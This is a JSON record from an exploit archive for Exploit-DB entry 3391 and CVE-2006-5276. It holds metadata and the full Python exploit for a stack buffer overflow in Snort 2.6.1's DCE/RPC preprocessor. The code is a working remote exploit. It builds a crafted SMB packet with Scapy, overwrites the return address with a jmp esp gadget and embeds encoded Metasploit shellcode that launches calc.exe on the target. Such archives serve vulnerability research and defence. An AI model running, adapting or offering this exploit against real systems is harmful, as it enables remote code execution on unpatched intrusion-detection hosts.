{"exploit":{"id":"EDB-3391","name":"Snort 2.6.1 - DCE/RPC Preprocessor Remote Buffer Overflow","description":"Snort 2.6.1 - DCE/RPC Preprocessor Remote Buffer Overflow","cves":["CVE-2006-5276"],"author":"Trirat Puttaraksa","published":"2007-03-01","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3391","path":"exploits/windows/remote/3391.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3391.py","vulnerabilities":[{"id":"CVE-2006-5276","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the DCE/RPC preprocessor in Snort before 2.6.1.3, and 2.7 before beta 2; and Sourcefire Intrusion Sensor; allows remote attackers to execute arbitrary code via crafted SMB traffic.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5276","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5276"},"updatedAt":"2024-08-07T19:48:28.530Z","retrievedAt":"2026-11-26T17:55:35.597Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3391.png?v=2","url":"https://exploitbin.com/exploits/EDB-3391","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3391/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3391/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n#\n# Snort DCE/RPC Preprocessor Buffer Overflow (Command Execution Version)\n#\n# Author: Trirat Puttaraksa <trir00t [at] gmail.com>\n#\n# http://sf-freedom.blogspot.com\n#\n######################################################\n# For educational purpose only\n#\n# This exploit call calc.exe on Windows XP SP2 + Snort 2.6.1\n#\n# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/)\n# to inject the packet, so you have to install Scapy before use it.\n#\n#######################################################\n\nimport sys\nfrom scapy import *\nfrom struct import pack\nconf.verb = 0\n\n# NetBIOS Session Service\npayload = \"\\x00\\x00\\x02\\xab\"\n\n# SMB Header\npayload += \"\\xff\\x53\\x4d\\x42\\x75\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\"\npayload += \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\"\npayload += \"\\x00\\x08\\x30\\x00\"\n\n# Tree Connect AndX Request\npayload += \"\\x04\\xa2\\x00\\x52\\x00\\x08\\x00\\x01\\x00\\x27\\x00\\x00\"\npayload += \"\\x5c\\x00\\x5c\\x00\\x49\\x00\\x4e\\x00\\x53\\x00\\x2d\\x00\\x4b\\x00\\x49\\x00\"\npayload += \"\\x52\\x00\\x41\\x00\\x5c\\x00\\x49\\x00\\x50\\x00\\x43\\x00\\x24\\x00\\x00\\x00\"\npayload += \"\\x3f\\x3f\\x3f\\x3f\\x3f\\x00\"\n\n# NT Create AndX Request\npayload += \"\\x18\\x2f\\x00\\x96\\x00\\x00\\x0e\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\npayload += \"\\x9f\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\npayload += \"\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x40\\x00\\x40\\x00\\x02\\x00\\x00\\x00\"\npayload += \"\\x01\\x11\\x00\\x00\\x5c\\x00\\x73\\x00\\x72\\x00\\x76\\x00\\x73\\x00\\x76\\x00\"\npayload += \"\\x63\\x00\\x00\\x00\"\n\n# Write AndX Request #1\npayload += \"\\x0e\\x2f\\x00\\xfe\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x80\"\npayload += \"\\x00\\x48\\x00\\x00\\x00\\x48\\x00\\xb6\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\xee\"\n\n#payload += \"\\x05\\x00\\x0b\\x03\\x10\\x00\\x00\\x00\\xff\\x01\\x00\\x00\\x01\\x00\\x00\\x00\"\npayload += \"\\x05\\x00\\x0b\\x03\\x10\\x00\\x00\\x00\\x10\\x02\\x00\\x00\\x01\\x00\\x00\\x00\"\npayload += \"\\xb8\\x10\\xb8\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\npayload += \"\\xc8\\x4f\\x32\\x4b\\x70\\x16\\xd3\\x01\\x12\\x78\\x5a\\x47\\xbf\\x6e\\xe1\\x88\"\npayload += \"\\x03\\x00\\x00\\x00\\x04\\x5d\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00\"\npayload += \"\\x2b\\x10\\x48\\x60\\x02\\x00\\x00\\x00\"\n\n# Write AndX Request #2\npayload += \"\\x0e\\xff\\x00\\xde\\xde\\x00\\x40\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x80\"\npayload += \"\\x00\\x48\\x00\\x00\\x00\\xff\\x01\\xce\\x01\\x00\\x00\\x00\\x00\\x49\\x00\\xee\"\n\n# 0x7c941eed -> jmp esp; make stack happy; windows/exec calc.exe (metasploit.com)\npayload += \"\\xed\\x1e\\x94\\x7c\\x90\\x81\\xc4\\xff\\xef\\xff\\xff\\x44\"\n\npayload += \"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xa9\"\npayload += \"\\xd1\\x80\\xf5\\x83\\xeb\\xfc\\xe2\\xf4\\x55\\x39\\xc4\\xf5\\xa9\\xd1\\x0b\\xb0\"\npayload += \"\\x95\\x5a\\xfc\\xf0\\xd1\\xd0\\x6f\\x7e\\xe6\\xc9\\x0b\\xaa\\x89\\xd0\\x6b\\xbc\"\npayload += \"\\x22\\xe5\\x0b\\xf4\\x47\\xe0\\x40\\x6c\\x05\\x55\\x40\\x81\\xae\\x10\\x4a\\xf8\"\npayload += \"\\xa8\\x13\\x6b\\x01\\x92\\x85\\xa4\\xf1\\xdc\\x34\\x0b\\xaa\\x8d\\xd0\\x6b\\x93\"\npayload += \"\\x22\\xdd\\xcb\\x7e\\xf6\\xcd\\x81\\x1e\\x22\\xcd\\x0b\\xf4\\x42\\x58\\xdc\\xd1\"\npayload += \"\\xad\\x12\\xb1\\x35\\xcd\\x5a\\xc0\\xc5\\x2c\\x11\\xf8\\xf9\\x22\\x91\\x8c\\x7e\"\npayload += \"\\xd9\\xcd\\x2d\\x7e\\xc1\\xd9\\x6b\\xfc\\x22\\x51\\x30\\xf5\\xa9\\xd1\\x0b\\x9d\"\npayload += \"\\x95\\x8e\\xb1\\x03\\xc9\\x87\\x09\\x0d\\x2a\\x11\\xfb\\xa5\\xc1\\xaf\\x58\\x17\"\npayload += \"\\xda\\xb9\\x18\\x0b\\x23\\xdf\\xd7\\x0a\\x4e\\xb2\\xe1\\x99\\xca\\xff\\xe5\\x8d\"\npayload += \"\\xcc\\xd1\\x80\\xf5\"\n\npayload += \"\\x90\"  # padding\n\nif len(sys.argv) != 2:\n\tprint \"Usage snort_execute_dcerpc.py <fake destination ip>\"\n\tsys.exit(1)\n\ntarget = sys.argv[1]\n\np = IP(dst=target) / TCP(sport=1025, dport=139, flags=\"PA\") / payload\nsend(p)\n\n# milw0rm.com [2007-03-01]","sha256":"981afec9b66550bbfec667caa1a0839181a14e9105c2f9f041786f8c7dca6695","bytes":3508,"fetchedAt":"2026-11-26T21:10:24.398Z","encoding":"utf-8 (display only; download retains original bytes)"}